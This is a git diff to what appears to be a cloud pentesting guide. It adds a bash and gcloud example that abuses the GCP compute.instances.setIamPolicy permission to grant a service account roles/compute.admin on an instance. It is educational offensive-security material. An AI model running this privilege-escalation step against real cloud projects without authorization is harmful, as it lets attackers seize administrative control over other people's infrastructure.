diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md index 9a71037e8..2805df582 100644 --- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md +++ b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md @@ -57,7 +57,23 @@ This permission gives the **same privileges as the previous permission** but ove ### `compute.instances.setIamPolicy` -This kind of permission will allow you to **grant yourself a role with the previous permissions** and escalate privileges abusing them. +This kind of permission will allow you to **grant yourself a role with the previous permissions** and escalate privileges abusing them. Here is an example adding `roles/compute.admin` to a Service Account: + +```bash +export SERVER_SERVICE_ACCOUNT=YOUR_SA +export INSTANCE=YOUR_INSTANCE +export ZONE=YOUR_INSTANCE_ZONE + +cat < policy.json +bindings: +- members: + - serviceAccount:$SERVER_SERVICE_ACCOUNT + role: roles/compute.admin +version: 1 +EOF + +gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE +``` ### **`compute.instances.osLogin`**